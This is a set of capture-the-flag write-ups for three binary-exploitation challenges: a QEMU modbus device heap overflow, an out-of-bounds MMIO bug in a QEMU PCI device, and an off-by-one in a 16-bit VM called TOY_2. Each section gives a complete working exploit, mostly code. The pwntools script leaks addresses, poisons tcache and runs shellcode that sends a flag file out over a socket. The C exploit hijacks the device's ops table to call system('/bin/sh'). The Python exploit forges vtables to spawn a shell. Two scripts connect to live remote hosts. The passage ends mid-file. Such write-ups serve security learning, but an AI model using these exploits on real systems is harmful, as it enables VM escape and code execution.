2025-11-04T15:53:27.png

2nd Blood

题目的启动脚本中把 modbus 工控协议对应的虚拟设备的 I/O 直接暴露到 socket I/O上,并且关闭了其它所有设备,所以本质上是直接对这个设备模型的漏洞利用,只不过放在了 QEMU 环境里。关于 modbus 的报文协议细节直接询问 AI 就能得到非常详细的答复,LLM 把了解一个未知协议运作的门槛降低了好几个数量级。

modbus 协议报文

  • 读寄存器
# RTU Function 0x03: Read Holding Registers
Req: [addr][0x03][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi]
Resp: [addr][0x03][byte_count][data_hi][data_lo]...[CRClo][CRChi]
  • 写寄存器
# RTU Function 0x10: Write Multiple Registers
Req: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][byte_count][values...][CRClo][CRChi] # total 9 + len(values) bytes
Resp: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi] # total 8 bytes

分析

设备的 realize 函数如下:

2025-11-04T15:51:38.png

其中 mbusTransmitDataHandler 回调函数是主要关注对象,它调用了 mbusPorcessBuf 进行具体的报文处理:

2025-11-04T15:51:45.png

mbusPorcessBuf 主逻辑和其中两个负责读写寄存器的函数如下:

2025-11-04T16:05:56.png

2025-11-04T16:06:05.png

2025-11-04T16:06:13.png

审计 mbusProcessBuf 逻辑主要发现三个漏洞点:

  1. 在 mbus 的读寄存器函数中,qty+start 被强制转换为 uint16 导致越界;
  2. 在 mbus 的读寄存器函数中,malloc((unsigned int8)(2*qty)+5)uint16 强制下转换到 uint8,可能导致实际申请的空间比读写空间小,发生堆上溢出写;
  3. 类似的,在 mbus 的写寄存器函数中,qty+start 被强制转换为 uint16 导致越界;

利用

  • 因此,利用 mbus 协议读寄存器产生的堆越界读能力,泄露 &obj->regs[0] 开始的 0x10000 字节内存,能够在特定 offset 上得到 libc,ELF,heap 地址;
  • 利用 malloc 调用机会和越界写能力,攻击 tcache,布置 0xa00xb00xc0 大小三个连续堆块的 sizenext,可以构造任意 malloc 原语。但是任意 malloc 紧接着一个 free,所以任意 malloc 的目标地址必须符合合法堆块 size 检查;
  • 然后劫持通信使用的 obj(设备对象)堆块。在 0xa0 偏移开始有三个在设备 realize 时就注册好的回调函数指针,劫持 0xb0 偏移的指针,可以发现调用该函数指针时,rdi 为 0xc0 偏移处的 8 字节。由于 QEMU 运行环境的 system 带有 cloexec FLAG(启动子程序时关闭已有 fd),所以重定向不太能用,而且远程尝试反弹 shell 不出网;
  • 最后通过 strace 发现读写网络 I/O 的 fd 为 10,于是干脆用 setcontextmprotect 执行 shellcode 实现 open("flag", 0) => sendfile(out_fd=10, ...) 效果,在远程环境下试了几次即可拿到flag;

EXP

完整 EXP:

from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'

# p = remote("127.0.0.1", 1503)
# p = remote("127.0.0.1", 1502)
p=remote("8.147.132.101",30721)

# crc16
def crc16(data: bytes):
    crc = 0xFFFF
    for b in data:
        crc ^= b
        for _ in range(8):
            if (crc & 0x0001) != 0:
                crc >>= 1
                crc ^= 0xA001
            else:
                crc >>= 1
    return crc

# RTU Function 0x03: Read Holding Registers
def read_reg(addr: int, start: int=0, qty: int=1):
    # Req: [addr][0x03][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi]
    # Resp: [addr][0x03][byte_count][data_hi][data_lo]...[CRClo][CRChi]
    packet = b""
    packet += p8(addr)  # addr
    packet += p8(0x03)  # function code
    packet += p16(start, endianness="big")  # start address
    packet += p16(qty, endianness="big")  # quantity
    packet += p16(crc16(packet))  # CRC
    #return packet
    p.send(packet)

# RTU Function 0x10: Write Multiple Registers
def write_reg(addr: int, start: int=0, qty: int=-1, _bytes: int=-1, values: bytes=b""):
    # Req: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][byte_count][values...][CRClo][CRChi] # total 9 + len(values) bytes
    # Resp: [addr][0x10][start_hi][start_lo][qty_hi][qty_lo][CRClo][CRChi] # total 8 bytes
    packet = b""
    packet += p8(addr)  # addr
    packet += p8(0x10)  # function code
    packet += p16(start, endianness="big")  # start address
    if qty == -1:
        qty = len(values) // 2
    packet += p16(qty, endianness="big")  # quantity
    if _bytes == -1:
        _bytes = len(values)
    packet += p8(_bytes)  # byte count
    packet += values  # values
    packet += p16(crc16(packet))  # CRC
    #return packet
    p.send(packet)

# write 
## max value size 250 bytes
#bytes_to_write = b"<"+b"A"*(512-2)+b">"
#for i in range(0, len(bytes_to_write), 2):
#    chunk = bytes([bytes_to_write[i+1], bytes_to_write[i]])
#    print(f"start: {i//2}, chunk: {chunk}")
#    write_reg(1, start=i//2, qty=1, values=chunk)
#    p.recv()
read_reg(1, start=1, qty=0xffff)

# ELF 0x37c
# HEAP 0x32c

def big_u16_to_little_u16(b: bytes) -> bytes:
    res = b""
    for i in range(0, len(b), 2):
        res += bytes([b[i+1], b[i]])
    return res

def leak_int64(data: bytes, offset: int=0) -> int:
    result = 0
    print("---------")
    for i in range(0, 8, 2):
        part = data[offset + i: offset + i +2]
        print("->>",part)
        result = (u16(part, endianness="big") << (i//2*16)) | result
    return result

leak_data = p.recv(0x1000)[3:]
elf_leak = leak_int64(leak_data, 0x37c)
heap_leak = leak_int64(leak_data, 0x32c)
libc_leak = leak_int64(leak_data, 0xfac)
log.success(f"elf_leak: {hex(elf_leak)}")
log.success(f"heap_leak: {hex(heap_leak)}")
log.success(f"libc_leak: {hex(libc_leak)}")
elf_base = elf_leak - 0x9ef3e9
heap_base = heap_leak - 0x718f0
libc_base = libc_leak - 0x203b20
log.success("==============================")
log.success(f"elf_base: {hex(elf_base)}")
log.success(f"heap_base: {hex(heap_base)}")
log.success(f"libc_base: {hex(libc_base)}")

read_reg(1,0,0x48)
read_reg(1,0,0x50)
read_reg(1,0,0x58)

chunka_addr=heap_base+0x2d8570 # a0
chunkb_addr=heap_base+0x2d8610 # b0
chunkc_addr=heap_base+0x2d86c0 # c0

offab=(0xa0-0x10+8-3)//2
offac=(0xa0-0x10+0xb0+8-3)//2
offbc=(0xa0-0x10+8-3)//2

write_reg(1,offab,values=b"\0\xf1")
write_reg(1,offac,values=b"\0\xf1")

read_reg(1,0,0x48+0x80)
read_reg(1,0,0x58)
read_reg(1,0,0x50)

# 48:a0 50:b0 58:c0 60:d0
# 68:e0 70:f0 

# now chunkb and chunkc free in tcache f0

def encaddr(addr):
    secret=chunkb_addr>>12^addr
    return secret

target=chunka_addr+0x13

setc=0x4a99d+libc_base
#0x00000000000986f5 : mov rdx, qword ptr [rdi + 8] ; mov rax, qword ptr [rdi] ; mov rdi, rdx ; jmp rax
magic=0x00000000000986f5+libc_base
newstack=chunkb_addr+0x13

page=chunka_addr&(~0xfff)
shcbuf=chunkb_addr+0x13

shctxt='''
lea rdi,qword ptr [rip+flagstr]
mov ax,2
xor esi,esi
syscall

push rax
pop rsi
mov edi,10
xor edx,edx
mov cx,0x100
mov ax,40
syscall

flagstr:
    .ascii "flag\\0\\0"
'''
context.arch="amd64"
shc=asm(shctxt)

open_libc=0x11b150+libc_base
sdfl_libc=0x11bbb0+libc_base
mprot_libc=0x125c40+libc_base
buffer=p64(setc)+p64(target-0x58)+p64(page)+p64(0x1000)+p64(7)+p64(7)+p64(7)+p64(7)+p64(7)+p64(target+0x58)+p64(mprot_libc)+p64(shcbuf)

def arb_malloc(addr):

    pld=buffer.ljust(0x80,b'\0')
    write_reg(1,0x8,values=pld)

    pld=b'\0'+p64(0xb1)+p64(encaddr(addr))+b'\0'
    write_reg(1,offab,values=pld)
    read_reg(1,0,0x48+0x80)

    pld=b'\0'+p64(0xf1)
    write_reg(1,offbc,values=pld)
    write_reg(1,0x8,values=shc)
    read_reg(1,0,0x70)
    # now chunkb in tcache b1 
    # tcache f1 hijacked

obj_addr=heap_base+0x84750

arb_malloc(obj_addr)

ptr1=0x40f6b6+elf_base
ptr2=0x40f5bb+elf_base
syst_addr=libc_base+0x58750
log.success("system at"+hex(syst_addr))

pld=b"\0"*(0xa0-0x10)
pld+=p64(ptr1)+p64(magic)+p64(magic)
pld+=b'aaaaaaaa'+p64(target)

write_reg(1,(0x10-3)//2,values=b'\0'+pld+b'\0')

read_reg(1,0,0x70)
pause()
p.recvuntil(b'aaaaaaaa')

p.interactive()

BabyQEMU

Vulnerability

This challenge implements a QEMU virtual char type PCI device, the device characteristics can be found in the header file corresponding to the following PCI device path in the file system:

img

Looking at the source code of the BABY device, it registers a section of mmio memory and implements the read/write methods respectively, and the vulnerability is usually found in the callback functions of these two methods:

static uint64_t pci_babydev_mmio_read(void *opaque, hwaddr addr, unsigned size) {
        PCIBabyDevState *ms = opaque;
        struct PCIBabyDevReg *reg = ms->reg_mmio;

        debug_printf("addr:%lx, size:%d\n", addr, size);

        switch(addr){
                case MMIO_GET_DATA:
                        debug_printf("get_data (%p)\n", &ms->buffer[reg->offset]);
                        return *(uint64_t*)&ms->buffer[reg->offset];
        }
        
        return -1;
}

static void pci_babydev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) {
        PCIBabyDevState *ms = opaque;
        struct PCIBabyDevReg *reg = ms->reg_mmio;

        debug_printf("addr:%lx, size:%d, val:%lx\n", addr, size, val);

        switch(addr){
                case MMIO_SET_OFFSET:
                        reg->offset = val;
                        break;
                case MMIO_SET_OFFSET+4:
                        reg->offset |= val << 32;
                        break;
                case MMIO_SET_DATA:
                        debug_printf("set_data (%p)\n", &ms->buffer[reg->offset]);
                        *(uint64_t*)&ms->buffer[reg->offset] = (val & ((1UL << size*8) - 1)) | (*(uint64_t*)&ms->buffer[reg->offset] & ~((1UL << size*8) - 1));
                        break;
        }
}

static const MemoryRegionOps pci_babydev_mmio_ops = {
        .read       = pci_babydev_mmio_read,
        .write      = pci_babydev_mmio_write,
        .endianness = DEVICE_LITTLE_ENDIAN,
        .impl = {
                .min_access_size = 1,
                .max_access_size = 4,
        },
};

The following are the key architectures of the device:

struct PCIBabyDevReg {
        off_t offset;
        uint32_t data;
};

#define MMIO_SET_OFFSET    offsetof(struct PCIBabyDevReg, offset)
#define MMIO_SET_DATA      offsetof(struct PCIBabyDevReg, data)
#define MMIO_GET_DATA      offsetof(struct PCIBabyDevReg, data)

struct PCIBabyDevState {
        PCIDevice parent_obj;

        MemoryRegion mmio;
        struct PCIBabyDevReg *reg_mmio;

        uint8_t buffer[0x100];
};

As you can see from the program logic, mmio_write can control the value of reg->offset high and low respectively 4 bytes, and then read and write to buffer[reg->offset] in mmio_write and mmio_read respectively. The buffer[reg->offset] is located in the PCIBabyDevState structure of the device and is only 0x100 bytes long, which now creates an out-of-bounds read or write. This is the key vulnerability of the challenge.

Exploit

The PCIBabyDevState structure is created in QEMU's dynamic memory as the device is initialized, and it is actually a huge structure when expanded, meaning that there are many key pointers before and after the buffer that can be utilized. At its simplest, the ELF base address and libc base address leaks are simple.

img

The first thing we need to do is leak the ELF base and buffer heap addresses.

    unsigned long elf_leak = -1;
    set_offset(0x130);
    elf_leak = (unsigned long)read_data();
    set_offset(0x134);
    elf_leak += (unsigned long)read_data() << 32;
    printf("ELF leak: 0x%lx\n", elf_leak);
    unsigned long elf_base = elf_leak - 0x7b44a0;
    unsigned long system_plt = elf_base + 0x324150;
    printf("system@plt: 0x%lx\n", system_plt);

    unsigned long heap_leak = -1;
    set_offset(-0x38);
    heap_leak = (unsigned long)read_data();
    set_offset(-0x38+4);
    heap_leak += (unsigned long)read_data() << 32;
    printf("HEAP leak: 0x%lx\n", heap_leak);
    unsigned long buf_addr = heap_leak + 0x40;
    printf("buf addr: 0x%lx\n", buf_addr);

Then we're going to complete the control flow hijacking with MemoryRegion mmio as it unfolds with the following structure:

img

The ops are a table of callback functions that contain registration points for the mmio_write and mmio_read function pointers, and the first parameter is the opaque (device object itself) which sits in a contiguous section of memory with the buffer and which we can control.

img

img

The next solution is simple, we fake an ops in the buffer and emulate it according to the following memory layout. Where mmio_read is changed to the address of system@plt and the very beginning of the opaque object is overwritten with the string "/bin/sh\x00". This way, when we trigger mmio_read again, the control flow will be hijacked to execute system("/bin/sh").

    unsigned long fake_ops_table_off = 0x80;
    unsigned long fake_ops_table_addr = buf_addr + fake_ops_table_off;
    printf("fake ops table addr: 0x%lx\n", fake_ops_table_addr);
    printf("fake ops table off: 0x%lx\n", fake_ops_table_off);
/*
+0000 0x555556271100  70 21 90 55 55 55 00 00  b0 21 90 55 55 55 00 00  │p!.UUU..│.!.UUU..│
+0010 0x555556271110  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  │........│........│
+0020 0x555556271120  02 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  │........│........│
+0030 0x555556271130  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  │........│........│
+0040 0x555556271140  01 00 00 00 04 00 00 00  00 00 00 00 00 00 00 00  │........│........│
+0050 0x555556271150  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  │........│........│
*/
    set_offset(fake_ops_table_off+0x20);
    write_data(0x2);
    set_offset(fake_ops_table_off+0x40);
    write_data(0x1);
    set_offset(fake_ops_table_off+0x44);
    write_data(0x4);
    set_offset(fake_ops_table_off+0x0);
    write_data(system_plt & 0xffffffff);
    set_offset(fake_ops_table_off+0x4);
    write_data(system_plt >> 32);
    set_offset(fake_ops_table_off+0x8);
    write_data(system_plt & 0xffffffff);
    set_offset(fake_ops_table_off+0xc);
    write_data(system_plt >> 32);

img

Code

// gcc exp.c -o ./release/rootfs/exp --static -s
// QEMU exploit
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stddef.h>

#define BABY_PCI_VENDOR_ID 0x4296
#define BABY_PCI_DEVICE_ID 0x1338

struct PCIBabyDevReg {
        off_t offset;
        uint32_t data;
};

#define MMIO_SET_OFFSET    offsetof(struct PCIBabyDevReg, offset)
#define MMIO_SET_DATA      offsetof(struct PCIBabyDevReg, data)
#define MMIO_GET_DATA      offsetof(struct PCIBabyDevReg, data)

const char baby_pci_mmio_path[] = "/sys/bus/pci/devices/0000:00:04.0/resource0";
char *mmio = NULL;

int open_device(){
    int fd = open(baby_pci_mmio_path, O_RDWR);
    if(fd < 0){
        perror("open");
        exit(1);
    }
    return fd;
}

int init_mmio(int fd){
    mmio = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if(mmio == MAP_FAILED){
        perror("mmap");
        exit(1);
    }
    return 0;
}

void write_mmio_int32(uint64_t addr, uint32_t val){
    if (!mmio){
        perror("mmio not initialized");
        exit(1);
    }
    *(uint32_t *)(mmio + addr) = val;
}

void write_mmio_int64(uint64_t addr, uint64_t val){
    if (!mmio){
        perror("mmio not initialized");
        exit(1);
    }
    *(uint64_t *)(mmio + addr) = val;
}

uint32_t read_mmio_int32(uint64_t addr){
    if (!mmio){
        perror("mmio not initialized");
        exit(1);
    }
    return *(uint32_t *)(mmio + addr);
}

uint64_t read_mmio_int64(uint64_t addr){
    if (!mmio){
        perror("mmio not initialized");
        exit(1);
    }
    return *(uint64_t *)(mmio + addr);
}

int set_offset(uint64_t offset){
    write_mmio_int64(MMIO_SET_OFFSET, offset);
    return 0;
}

int write_data(uint32_t data){
    write_mmio_int32(MMIO_SET_DATA, data);
    return 0;
}

uint32_t read_data(){
    return read_mmio_int32(MMIO_GET_DATA);
}

int main(){
    int dev_fd = open_device();
    if(dev_fd < 0){
        perror("open_device");
        exit(1);
    }
    init_mmio(dev_fd);
    printf("mmio mmap: %p\n", mmio);
/*     set_offset(0x0);
    write_data(0xdeadbeef);
    printf("Read data: 0x%x\n", read_data());
    set_offset(0x4);
    write_data(0xdeadbeef);
 */
    // leak
    unsigned long elf_leak = -1;
    set_offset(0x130);
    elf_leak = (unsigned long)read_data();
    set_offset(0x134);
    elf_leak += (unsigned long)read_data() << 32;
    printf("ELF leak: 0x%lx\n", elf_leak);
    unsigned long elf_base = elf_leak - 0x7b44a0;
    unsigned long system_plt = elf_base + 0x324150;
    printf("system@plt: 0x%lx\n", system_plt);

    unsigned long heap_leak = -1;
    set_offset(-0x38);
    heap_leak = (unsigned long)read_data();
    set_offset(-0x38+4);
    heap_leak += (unsigned long)read_data() << 32;
    printf("HEAP leak: 0x%lx\n", heap_leak);
    unsigned long buf_addr = heap_leak + 0x40;
    printf("buf addr: 0x%lx\n", buf_addr);

    // check ops_ptr
    //unsigned long ops_ptr = -1;
    //set_offset(-0xc8);
    //ops_ptr = (unsigned long)read_data();
    //set_offset(-0xc8+4);
    //ops_ptr += (unsigned long)read_data() << 32;
    //printf("ops ptr: 0x%lx\n", ops_ptr);    

    // hijack ops_table
    unsigned long fake_ops_table_off = 0x80;
    unsigned long fake_ops_table_addr = buf_addr + fake_ops_table_off;
    //unsigned long fake_ops_table_addr = elf_base + 0x19fb000;
    //unsigned long fake_ops_table_off =  - (buf_addr - fake_ops_table_addr);
    printf("fake ops table addr: 0x%lx\n", fake_ops_table_addr);
    printf("fake ops table off: 0x%lx\n", fake_ops_table_off);
/*
+0000 0x555556271100  70 21 90 55 55 55 00 00  b0 21 90 55 55 55 00 00  │p!.UUU..│.!.UUU..│
+0010 0x555556271110  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  │........│........│
+0020 0x555556271120  02 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  │........│........│
+0030 0x555556271130  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  │........│........│
+0040 0x555556271140  01 00 00 00 04 00 00 00  00 00 00 00 00 00 00 00  │........│........│
+0050 0x555556271150  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  │........│........│
*/
    set_offset(fake_ops_table_off+0x20);
    write_data(0x2);
    set_offset(fake_ops_table_off+0x40);
    write_data(0x1);
    set_offset(fake_ops_table_off+0x44);
    write_data(0x4);
    set_offset(fake_ops_table_off+0x0);
    write_data(system_plt & 0xffffffff);
    set_offset(fake_ops_table_off+0x4);
    write_data(system_plt >> 32);
    set_offset(fake_ops_table_off+0x8);
    write_data(system_plt & 0xffffffff);
    set_offset(fake_ops_table_off+0xc);
    write_data(system_plt >> 32);

    puts("fake ops table created");

    // write "/bin/sh\x00"(0x68732f6e69622f) into opaque
    unsigned long opaque_off = -0xbf8;
    set_offset(opaque_off);
    write_data(0x68732f6e69622f & 0xffffffff);
    set_offset(opaque_off+4);
    write_data(0x68732f6e69622f >> 32);
    puts("wrote /bin/sh into opaque");

    // hijack ops_ptr
    unsigned long ops_ptr_pff = -0xc8;
    set_offset(ops_ptr_pff);
    write_mmio_int32(MMIO_SET_DATA, fake_ops_table_addr & 0xffffffff);
    puts("hijacked ops_ptr");

    // trigger
    read_data();

    return 0;
}

TOY_2

The challenge provides a 16bit risc-VM written in cpp.

The exploit happens in case 13(STT): the valid addr (or addr & (0x1000-1) ,specificly) ranges from 0 to 0xfff, and will do:

  • mem[addr]=val&0xff
  • mem[addr+1]=val>>8

So when addr = 0xfff, there will be an off-by-one. In GDB, we can see that this one byte is just the lowest byte of the mem pointer. (and the next 8 byte is the uint16_t size of the std::span object)

In that case, we can do mem:=mem+0x10 by this:

a:=0x00c8 # mem is an heap pointer and mem&0xff=0xb8=0xc8-0x10
t:=a
a:=0xfff # off by one
stt

But the pc pointer will jump to the former pc+0x10, because the fetch_and_decode() also uses mem[regs.pc] to fetch code. And there will be several times of rebase like this during the whole exp😭.

After that, we can increase the size of the memory space. But it doesn't help a lot, since the size is stored as uint16_t, and should be correct when executing addr&(size-1) . So we set size to 0x8000.

Back to the VM insts, we can know that when a pointer drops in space ranging from mem to mem+size, we can use adc or another insts to write a program to calculate the offset, and forge fake structure, without leaking them to stdout.

Now there is a heap pointer in this space. And now the vtable pointer of the object drops at the mem-0x18 , so we should do mem:=mem-0x20 and rebase again 😭.

Back to the VM insts again, when we use case 7 illegal, the VM will raise an error and back to the main function to execute the handler. After printing Done the program will call object->dump() (0x8 of the vtable). So we can forge a fake vtable in memory to trigger the fake handler, and hijack the control flow.

We have heap pointer of mem and text pointer of vtable now, and need libc pointer.

Luckily, after calling the error handler, there will be a new chunk on the heap, just after our VM object, with a lot of pointers from libstdc++. In the same ubuntu machine, the offset between libc and libstdc++ will be an unknown constant, so we can try to calculate it.(Fortunately the local offset in my VM and the remote offset are the same, in the same docker environment)

So we can draw a route:

  1. Rebase the mem to increase the size of VM-memory, and enclose the heap text pointers, as well as the vtable member of the object.
  2. Forge a new vtable with its dump function as main, and make the obj->vtable point to it.
  3. Execute inst 7, to trigger the error handler, malloc a handler chunk after the VM object, and run main function again.
  4. The main function will alloc a new VM object, whose memory space drops after the error handler chunk.

    1. Now the heapspace is like:
      [-----------old VM----------]|[--error-hndl--]|[-----------new VM----------]
       -                                                                        +
  1. Do Step 1 in the new VM again. Then rebase it again (mem:=mem-0x60 in my exp) to enclose an libstdc++ pointer.
  2. Make fake vtable again, to hijack the control flow with gadget in libc .
  3. Execute inst 7 and getshell.

To get shell,forge a vtable like that:

heap_mem_1:
fake_vtable+0 = heap_mem_2
fake_vtable+8 = gadget1
fake_vtable+0x18 = gadget2
fake_vtable+0x18 = system_addr
---
heap_mem_2:
+0x00: "/bin/sh\x00"
...
+0x38: &fake_vtable

gadget1:mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x18]
gadget2:call qword ptr [rax + 0x20]

We use gadget2 to call again to align the stack pointer before calling system.

Scripts

exp.py:

from pwn import *
from data import dt,getdt2
def pack_code(op, addr):
    c = (op << 12) | (addr & 0xfff)
    return p16(c)

#p = remote('127.0.0.1', 8887)
p=remote('toy-2.seccon.games',5000)

# sleep(0.2)

def stt():
    return pack_code(13,0)
def lda(x):
    return pack_code(14,x)
def tat():
    return pack_code(5,0)
def ill():
    return pack_code(7,0)
def ldc(x):
    return pack_code(9,x)
def adc(x):
    return pack_code(1,x)
def ldi():
    return pack_code(12,0)
def jmp(x):
    return pack_code(0,x)
def anda(x):
    return pack_code(8,x)
def bcc(x):
    return pack_code(10,x)

def r2(x):
    return x+0x20

targ=r2(0xc00)

code = b"".join([
    lda(0x802), #0
    tat(),
    lda(0x800),
    stt(), # offset +0x10

    lda(r2(0x810)),#8
    ldi(),
    tat(),
    lda(r2(0x80e)),
    
    stt(),
    lda(r2(0x814)),
    ldi(),
    jmp(r2(0x81a)),

    lda(0x804), #18
    tat(),
    lda(0x806),
    stt(),

    lda(0x808), #20
    tat(),
    lda(0x80a),
    stt(),

    tat(),#28
    lda(r2(0x812)),
    stt(),
    lda(r2(0x818)),

    ldi(),#30
    tat(),
    lda(r2(0x816)),
    stt(),

    # ofs+text=main -> targ+8
    lda(r2(0x81c)),#38
    adc(8),
    tat(),
    lda(r2(0x820)),
    stt(),#40

    lda(r2(0x81e)),
    adc(0xa),
    tat(),
    lda(r2(0x822)),#48
    stt(),

    lda(r2(0x81e)),
    adc(0xc),
    tat(),#50
    lda(r2(0x824)),
    stt(),
    
    lda(r2(0x81e)),
    adc(0xe),#58
    tat(),
    lda(r2(0x826)),
    stt(),

#heap + ofs -> virtual
    ldc(r2(0x828)),#ldc! #60
    adc(targ),
    tat(),
    lda(r2(0x82c)),
    stt(),#68

    lda(r2(0x82a)),
    adc(targ+2),
    tat(),
    lda(r2(0x82e)),#70
    stt(),

    lda(r2(0x82a)),
    adc(targ+4),
    tat(),#78
    lda(r2(0x830)),
    stt(),

    ill(),
    lda(r2(0x828)),#<--back
    ill(),

])
print(hex(u64(code[0:8])))
payload=code.ljust(0x800,b"\0")

payload+=dt
payload = payload.ljust(4096, b'\x00')



# print(payload)

p.send(payload)

pause()

#new payload at 0x5a7b9b3123c8
#leak stdcpp at 0x5a7b9b312360 ofs 0x26eff0

def r3(x):
    return r2(x)+0x60

targ=r3(0xc00)
code2 = b"".join([
    lda(0x802), #0
    tat(),
    lda(0x800),
    stt(), # offset +0x10

    lda(r2(0x810)),#8
    ldi(),
    tat(),
    lda(r2(0x80e)),
    
    stt(),#10
    lda(r2(0x814)),
    ldi(),
    jmp(r2(0x81a)),

    lda(0x804), #18
    tat(),
    lda(0x806),
    stt(),

    lda(0x808), #20
    tat(),
    lda(0x80a),
    stt(),

    tat(),#28
    lda(r2(0x812)),
    stt(),
    lda(r2(0x818)),

    ldi(),#30
    tat(),
    lda(r2(0x816)),
    stt(),

    # ofs+text=main -> targ+8
    lda(r2(0x81c)),#38
    adc(8),
    tat(),
    lda(r2(0x820)),
    stt(),#40

    lda(r2(0x81e)),
    adc(0xa),
    tat(),
    lda(r2(0x822)),#48
    stt(),

    lda(r2(0x81e)),
    adc(0xc),
    tat(),#50
    lda(r2(0x824)),
    stt(),
    
    lda(r2(0x81e)),
    adc(0xe),#58
    tat(),
    lda(r2(0x826)),
    stt(),
]+[
    jmp(r2(0x838)),#60
    jmp(r3(0x83a)),
    ill()
]
+[tat()]*(0x31-3-4)
+[
    lda(r2(0x834)),#ba
    tat(),#bc
    lda(r2(0x836)),#be
    stt(),#c0
]+[
    #make system to fakevt+0x18
    ldc(r3(0x83c)),#0xc2
    adc(8),
    tat(),
    lda(r3(0x846)),
    stt(),

    lda(r3(0x83e)),
    adc(0xa),
    tat(),
    lda(r3(0x848)),
    stt(),

    lda(r3(0x844)),
    adc(0xc),
    tat(),
    lda(r3(0x84a)),
    stt(),

    lda(r3(0x844)),
    adc(0xe),
    tat(),
    lda(r3(0x84c)),
    stt(),

    #make gadget to fakevt+0x8

    ldc(r3(0x840)),#0xc2
    adc(8),
    tat(),
    lda(r3(0x84e)),
    stt(),

    lda(r3(0x842)),
    adc(0xa),
    tat(),
    lda(r3(0x850)),
    stt(),

    lda(r3(0x844)),
    adc(0xc),
    tat(),
    lda(r3(0x852)),
    stt(),

    lda(r3(0x844)),
    adc(0xe),
    tat(),
    lda(r3(0x854)),
    stt(),

    #ptr to binsh

    ldc(r3(0x85e)),#0xc2
    adc(0xce0),
    tat(),
    lda(r3(0x856)),
    stt(),

    lda(r3(0x860)),
    adc(0xce2),
    tat(),
    lda(r3(0x858)),
    stt(),

    lda(r3(0x860)),
    adc(0xce4),
    tat(),
    lda(r3(0x85a)),
    stt(),

    lda(r3(0x860)),
    adc(0xce6),
    tat(),
    lda(r3(0x85c)),
    stt(),

    #ptr binsh+0x38

    ldc(r3(0x862)),#0xc2
    adc(0xce0),
    tat(),
    lda(r3(0x864)),
    stt(),

    lda(r3(0x860)),
    adc(0xce2),
    tat(),
    lda(r3(0x866)),
    stt(),

    lda(r3(0x860)),
    adc(0xce4),
    tat(),
    lda(r3(0x868)),
    stt(),

    lda(r3(0x860)),
    adc(0xce6),
    tat(),
    lda(r3(0x86a)),
    stt(),

    #hijack vtable

    ldc(0xd70+0x38+0),
    tat(),
    ldc(r3(0x86c)),
    stt(),

    ldc(0xd70+0x38+2),
    tat(),
    ldc(r3(0x86c+2)),
    stt(),

    ldc(0xd70+0x38+4),
    tat(),
    ldc(r3(0x86c+4)),
    stt(),

    ldc(0xd70+0x38+6),
    tat(),
    ldc(r3(0x86c+6)),
    stt(),

#set gad2 to fakevt+0x18

    ldc(r3(0x87c)),#0xc2
    adc(8),
    tat(),
    lda(r3(0x874)),
    stt(),

    lda(r3(0x87e)),
    adc(0xa),
    tat(),
    lda(r3(0x876)),
    stt(),

    lda(r3(0x844)),
    adc(0xc),
    tat(),
    lda(r3(0x878)),
    stt(),

    lda(r3(0x844)),
    adc(0xe),
    tat(),
    lda(r3(0x87a)),
    stt(),


    ill(),
]
)
print(hex(u64(code[0:8])))
payload=code2.ljust(0x800,b"\0")

payload+=getdt2()
payload=payload.ljust(0x800+0x500,b"\0")
payload+=b"/bin/sh\0"

payload = payload.ljust(4096, b'\x00')
p.send(payload)
p.interactive()

data.py

targ=0xc20
from pwn import *
dt=b"".join([
    p16(0x0fff),#0
    p16(0xc8c8),#2
    b"\0"*0x10,
    p16(0x0080),#4
    p16(0x0ff9),#6
    p16(0xa800),#8
    p16(0x0fef),#a
    p16(0x2333),#c
    p16(targ),#e

    p16(0x1010),#10
    p16(targ+2),#12
    p16(0x1012),#14
    p16(targ+4),#16

    p16(0x1014),#18
    p16(0x28+0x10),#1a
    p16(0xda60),#1c
    p16(0xffff),#1e

    p16(targ+8),#20
    p16(targ+0xa),#22
    p16(targ+0xc),#24
    p16(targ+0xe),#26


    p16(0xc20),#28
    p16(0),#2a
    p16(8),#2c
    p16(0xa),#2e
    p16(0xc),#30
    p16(0xe),#32
])
#0x0000000000171cf6 : mov rdi, qword ptr [rax] ; mov rax, qword ptr [rdi + 0x38] ; call qword ptr [rax + 0x18]
def getdt2(ofs=0x240000):
    stdcpp_ofs=0x26eff0
    syst_ofs=-stdcpp_ofs-ofs+0x58740+2**64
    gadget_ofs=-stdcpp_ofs-ofs+0x171cf6+2**64
    gad2_ofs=0x00000000000958ea-stdcpp_ofs-ofs+2**64
    targ=0xc20+0x60
    fakevt=0xe00
    dt2=b"".join([
    p16(0x0fff),#0
    p16(0xd8d8),#2
    b"\0"*0x10,
    p16(0x0080),#4
    p16(0x0ff9),#6
    p16(0xb800),#8
    p16(0x0fef),#a
    p16(0x2333),#c
    p16(targ),#e

    p16(0x1010),#10
    p16(targ+2),#12
    p16(0x1012),#14
    p16(targ+4),#16

    p16(0x1014),#18
    p16(0x28+0x10),#1a
    p16(0xda60),#1c
    p16(0xffff),#1e

    p16(targ+8),#20
    p16(targ+0xa),#22
    p16(targ+0xc),#24
    p16(targ+0xe),#26


    p16(0xc20),#28
    p16(0),#2a
    p16(8),#2c
    p16(0xa),#2e
    p16(0xc),#30
    p16(0xe),#32

    p16(0x5800),#34
    p16(0x100f),#36
    p16(0x00ba+0x10),#38
    p16(0xc2+0x10+0x60),#3a

